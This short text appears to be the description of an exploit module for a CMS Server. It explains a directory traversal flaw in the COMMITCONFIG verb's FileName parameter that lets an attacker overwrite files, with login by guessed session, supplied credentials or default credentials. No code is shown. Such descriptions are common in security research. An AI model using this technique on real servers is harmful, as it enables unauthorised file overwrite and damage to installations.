      The COMMITCONFIG verb is used by a CMS client to upload and modify the configuration of the
      CMS Server.
      The vulnerability is in the "FileName" parameter, which accepts directory traversal (..\\..\\)
      characters. Therefore, this function can be abused to overwrite any files in the installation
      drive of CMS Server.

      This vulnerability is exploitable in CMS versions up to and including v2.4.

      This module will either use a provided session number (which can be guessed with an auxiliary
      module) or attempt to login using a provided username and password - it will also try the
      default credentials if nothing is provided.

      This module will overwrite the LicenseTool.dll file in the CMS Server installation. If the module
      fails to restore LicenseTool.dll then the installation will be corrupted and NCS Server will
      not execute successfully.
